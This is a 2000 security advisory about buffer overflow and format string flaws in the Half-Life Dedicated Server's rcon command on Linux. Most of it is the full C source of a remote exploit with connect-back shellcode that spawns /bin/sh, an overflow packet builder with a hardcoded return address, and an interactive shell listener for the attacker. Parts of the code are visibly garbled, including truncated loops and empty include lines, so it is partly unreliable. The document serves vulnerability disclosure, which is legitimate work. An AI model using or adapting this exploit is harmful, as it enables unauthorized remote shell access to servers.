[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Multiple vulnerabilities in Half-life Dedicated Server for Linux

Title: Multiple vulnerabilities in Half-life Dedicated Server for Linux
Released by: Tamandua Sekure Labs
Date: 24th October 2000
Printable version: Click here
-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1





                                  TAMANDUA SEKURE LABS

                               http://tamandua.sekure.org

                            Sao Paulo / Porto Alegre - Brazil







Issue:         Multiple vulnerabilities in Half-life Dedicated Server for Linux

Advisory #:    sekure-2000-01

Version:       3.1.3.x

Patch

Availability:  Soon

Severity:      High - Remote access





Authors:

 - Thiago Zaninotti (c0nd0r) 

 - Gustavo Scotti (csh) 





1. Problem





Tamandua Sekure Labs has found multiple vulnerabilities in Half-life Dedicated

Server for Linux. These problems are related to the remote console command (rcon)

and it can be exploited to gain remote access to the vulnerable server -- the

attack may also be used to crash the server remotely.



You do not need the rcon password to attack the HLDS server -- all linux servers

are vulnerable.





2. Detailed description





- - Buffer Overflow in RCON command



The HLDS server does not check the input size of the rcon command issued by a

remote user. By feeding the rcon command buffer with a large amount of data, it's

possible to crash the server by hitting the return address with an arbitrary

character sequence.



The problem seems to be related with the logging function.



The exploitation allows the attacker to insert arbitrary instructions to be

remotely executed in the server (you do not need a local account).





- - Format string error in RCON command



The HLDS server does not check properly the contents of the rcon command's buffer

which will be given as a format argument to the sprintf() function. By sending a

special sequence of characters (%*), the attacker might overwrite the program's

return address and execute arbitrary instructions in the server.



The problem seems to be related with the logging function.





3. Current exploit status





There's no known exploits available to the public domain at the moment.

(check section 6)





4. Source



- - Securityfocus.com Vulnerability Alert

http://www.securityfocus.com/bid/1799



- - Analysis of a compromised Linux Machine





5. Fix





There is no official fix from Valve Software.

http://www.valvesoftware.com



Check out http://server.counter-strike.net soon.



Temporary solution:

Disable the linux server.





6. TSLabs





Tamandua Sekure Labs is the first security dedicated laboratory at Brazil.

Coming soon: http://tamandua.sekure.org



We also would like to greet: Core SDI and USSR, which is part of the security

force in South America.



For further information regarding the lab:

mailto:labs@sekure.org





7. Exploit Source



also available at

http://www.securenet.com.br/arquivos/out00/hl-rcon.c



- ---[ hl-rcon.c ]----------------------------------

/*

 *  SDI HalfLife rcon remote exploit for linux x86

 *  (portuguese) exploit remoto para o buffer overflow do rcon no halflife

 *

 *  Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)

 *  by Thiago Zaninotti (c0nd0r) 

 *     Gustavo Scotti   (csh)    

 *

 *  Proof of concept - There is a remote exploitable buffer overflow

 *  in Half Life server (3.1.0.x) for linux (HLDS). The problem is

 *  related to the RCON command (Remote CONsole).

 *  (port.) Existe um buffer overflow exploitavel no Half Life Server

 *  (HLDS) relacionado ao comando RCON.

 *

 *  After several tests, we found out the 'rcon' command is also vulnerable

 *  to a format string attack which can lead to a remote exploitation.

 *  (port) O comando RCON tambem e' vulneravel a um format string attack.

 *

 *  YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY,

 *  which means any multiplayer server is vulnerable to the attack.

 *  (port) Voce nao precisa de password para explorar esta vulnerabilidade,

 *    o que significa que qualquer servidor e' vulneravel.

 *

 *  Agradecimentos: Tamandua Sekure Labs - Fabio Ramos (framos@axur.org),

 *  Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),

 *  Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e

 *  Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).

 *

 *  Respects: c_orb, el8.org (specially duke), meta, guys at core sdi,

 *  the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez,

 *  ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at

 *  sekure.org: vader, jamez, falcon and staff.

 *

 *  WE DO NOT TAKE ANY RESPONSABILITY. DO NOT USE THIS CODE TO GAIN

 *  UNAUTHORIZED ACCESS TO A REMOTE SERVER -- THIS IS NOT LEGAL.

 *

 *  also thanks to botman (botman@mailandnews.com) and pudim.

 *  Visit the brazilian security portal: http://www.securenet.com.br

 */



#include 

#include 

#include 

#include 

#include 

#include 



typedef unsigned long u32;

typedef unsigned short u16;

typedef unsigned char u8;



unsigned char shellcode[]=

"\xeb\x03\x5e\xeb\x1d\xe8\xf8\xff\xff\xff scotti@axur.org"

"\x2f\x62\x69\x6e\x2f"

"\x73\x68\x40\x31\xc0\x66\x40\x66\x40\x66\x89\x06\x31\xc9\xb1\x08"

"\x89\xf7\x83\xc7\x08\x30\xc0\x88\x07\x47\x49\x75\xfa\x31\xc0\x89"

"\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"

"\x31\xc0\x83\xc0\x66\xcd\x80\x89\xc7\x89\x46\x20\x8d\x06\x89\x46"

"\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x8d\x4e\x20\x31\xdb\x43\x43"

"\x43\x31\xc0\x83\xc0\x66\x57\xcd\x80\x5f\x31\xc0\x83\xc0\x3f\x89"

"\xfb\x31\xc9\xcd\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\xcd"

"\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\x41\xcd\x80\x89\xf0"

"\x83\xc0\x18\x89\x46\x18\x31\xc0\x88\x46\x17\x89\x46\x1c\xb0\x0b"

"\x8d\x4e\x18\x8d\x56\x1c\x89\xf3\x83\xc3\x10\xcd\x80\x31\xc0\x40"

"\xcd\x80";





/* NET functions */

int

udp_read( int sock, u32 *daddr, u16 *port, void *ptr, u16 ptr_size)

{

        struct sockaddr_in server;

        int i,n;

        i = sizeof(server);

        n=recvfrom( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, &i);

        *daddr = ntohl(server.sin_addr.s_addr);

        *port = ntohs(server.sin_port);

        return n;

}



int

udp_send( int sock, u32 daddr, u16 port, void *ptr, u16 ptr_size)

{

        struct sockaddr_in server;

        server.sin_family = AF_INET;

        server.sin_port = htons( port);

        server.sin_addr.s_addr = htonl( daddr);

        return sendto( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, sizeof(server));

}



int

udp_connect( u32 addr, u16 port)

{

        struct sockaddr_in client;

        int new_fd;



        new_fd = socket( AF_INET, SOCK_DGRAM, 0);

        if (new_fd<0)

           return new_fd;



        bzero( (char *) &client, sizeof( client));

        client.sin_family = AF_INET;

        client.sin_addr.s_addr = htonl( addr);

        client.sin_port = htons( port);

        if (connect( new_fd, (struct sockaddr *)&client, sizeof(client))<0)

           return -1; /* cant bind local address */



        return new_fd;

}





u32 dns2ip( u8 *host)

{

        struct hostent *dns;

        u32     saddr;

        dns = gethostbyname( host);

        if (!dns)

           return 0xffffffff;

        bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);

        return ntohl(saddr);

}





int

async_read( int sock_r, int rettime)

{

   fd_set           fd_r;

   struct timeval   tv;

   char             try_ch[4]="/-\\|";



   int r,j;



   for (r=0;r0)

      if (FD_ISSET(sock_r, &fd_r)) return sock_r;

           else

              return -1;

           }

       }

   return -1;

}





int

get_server_info( int sock, u32 addr, u16 port)

{

   u32 r_addr;

   u16 r_port;

   int n, i;

   u8  pkt[256], *str;



   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;

   sprintf(&pkt[4], "details");



   n = udp_send(sock, addr, port, pkt, strlen(pkt));

   printf(".  connecting to the server...  "); fflush(stdout);

   if (async_read(sock, 6)<0)

       goto server_down;

   n = udp_read(sock, &addr, &port, pkt, sizeof(pkt));

   if (n<0)

{

server_down:

printf("\bserver down!\r*\n");

exit(0);

}

   printf("\bdone\n");

   str = &pkt[4];

   str+=strlen(str)+1;

   printf("\t server_name  [%s]\n", str); str+=strlen(str)+1;

   printf("\t    map_name  [%s]\n", str); str+=strlen(str)+1;

   str+=strlen(str)+1;



   printf("\t   game_name  [%s]\n", str); str+=strlen(str)+1;

   printf("\tusers_online  [%d of %d]\n", str[0], str[1]); str+=3;

   printf("\t   remote_OS  [%s]\n", (str[1]=='w' ? "windows" : (str[1]=='l' ? "linux" : "unknown")));

   if (str[1]=='w') return 2;

   if (str[1]=='l') return 1;

   return 0;

}



u32 retrieve_local_info(int sock, u8 *host)

{

   struct sockaddr_in server;

   int    soclen;

   soclen = sizeof(server);

   if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)

       {

       printf("error in getsockname\n");

       exit(0);

       }

   snprintf(host, 256, "%s:%d", inet_ntoa(server.sin_addr), htons(server.sin_port));

   return htonl(server.sin_addr.s_addr);

}



int

bind_tcp( int *port)

{

   struct sockaddr_in mask_addr;

   int sock, portno=25000; /* base_port */



   sock = socket( AF_INET, SOCK_STREAM, 0);

   if (sock<0)

      return sock;



redo:

   mask_addr.sin_family = AF_INET;

   mask_addr.sin_port = htons( portno);

   mask_addr.sin_addr.s_addr = 0;



   if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)

      {

error:

      portno++;

      if (portno>26000)

         {

         printf("*  no TCP port to bind in.\n");

         exit(0);

         }

      goto redo;

      }

   if (listen( sock, 0)<0)

      goto error;



   printf(".  TCP listen port number %d\n", portno);

   *port = portno;

   return sock;

}



wait_for_connect(int sock)

{

   fd_set fds;

   u8     tmp[256];

   int    tcp, addr_len;

   struct sockaddr_in server;



   printf(".  waiting for connect_back shellcode responde...  ");

   if (async_read(sock, 15)!=sock)

{

  printf("\bfailed!\r*\n");

        exit(0);

        }

    tcp = accept( sock, (struct sockaddr *)&server, &addr_len);

    printf("\bconnected\n.       ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));

    close(sock); /* closing incoming socket */

    printf(".  congratulations. you have owned this one.\n");





    /* basic async mode */

    while (1)

        {

        FD_ZERO(&fds);

        FD_SET(0, &fds);

        FD_SET(tcp, &fds);



        if (select(tcp+1, &fds, NULL, NULL, NULL)>0)

           {

           if (FD_ISSET(0, &fds))

              {

              int n;

              n = read(0, tmp, 256);

              if (n<0)

                 goto end_conn;

              if (write(tcp, tmp, n)!=n) goto end_conn;

              }

           if (FD_ISSET(tcp, &fds))

              {

              int n;

              n = read(tcp, tmp, 256);

              if (n<0)

                 goto end_conn;



              if (write(0, tmp, n)!=n) goto end_conn;

              }

   }

}

end_conn:

    close(tcp);

    printf(".  bye-bye. Stay tuned for more Tamandua Sekure Labs codes.\n");

}



assembly_shell_code(int sock, u32 addr, u16 port, u32 laddr, u8 *linfo)

{

   u8    pkt[2048],

         *shell_ptr;

   struct sockaddr_in *sc_server;

   u32   ret_addr = 0xbfffb1f4, last_byte = 1014, over_head = 40;

   int   i, n, tcp, tcp_port;



   printf(".  localinfo %s\n", linfo);

   tcp = bind_tcp( &tcp_port);

   sc_server = (struct sockaddr_in *)&shellcode[10];

   sc_server->sin_addr.s_addr = htonl(laddr);

   sc_server->sin_port = htons(tcp_port);



   last_byte-=strlen(linfo);

   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;

   sprintf( &pkt[4], "rcon ");

   i = strlen(pkt);

   shell_ptr = &pkt[i];



   /* find out how many nops we can push before shellcode */

   n = last_byte - i - sizeof(shellcode)-1 - over_head;

   for (i=0;i\n");

   exit(-1);

}



main(int argc, char **argv)

{

   u32 addr, laddr;

   u16 port;



   int sock, i;

   u8  linfo[256], *tmp = NULL;



   printf(".  half-life 3.1.0.x remote buffer-overflow for linux x86\n");

   printf(".  (c)2000, Tamandua Sekure Laboratories\n");

   printf(".  Authors: Thiago Zaninotti & Gustavo Scotti\n");



   if (argc<2)

      usage();



   tmp = (u8 *)strchr(argv[1], ':');

   if (tmp)

      {

      *tmp = 0; tmp++;

      port = atoi(tmp);

      }

   else

      {

      printf(":  port not found, using default 27015\n");

      port = 27015;

      }



   addr = dns2ip(argv[1]);



   if (addr==0xffffffff)

      {

      printf("host not found!\n");

      exit(0);

      }



   sock = udp_connect( addr, port);

   laddr = retrieve_local_info(sock, linfo);

   if (get_server_info(sock, addr, port)!=1)

      {

      printf("this is not a linux server. Make a shellcode to it and have fun\n");

      exit(0);

      }

   assembly_shell_code(sock, addr, port, laddr, linfo);



}



- -----[ eof ]-------------------------------------------





-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.0.1 (GNU/Linux)

Comment: For info see http://www.gnupg.org



iD8DBQE59XrbPHwKrh1r8E0RAtBuAJ9uNCPE8ugAIgt0tCzw0ujnFQy3kQCfT/ng

Ks598vowVYCi6hOD1mZEmnk=

=eTVl

-----END PGP SIGNATURE-----





-condor

www.sekure.org

 s e k u r e



aka. Thiago Zaninotti (c0nd0r)

thiago@securenet.com.br



Portal Brasileiro de Seguranca

www.securenet.com.br








(C) 1999-2000 All rights reserved.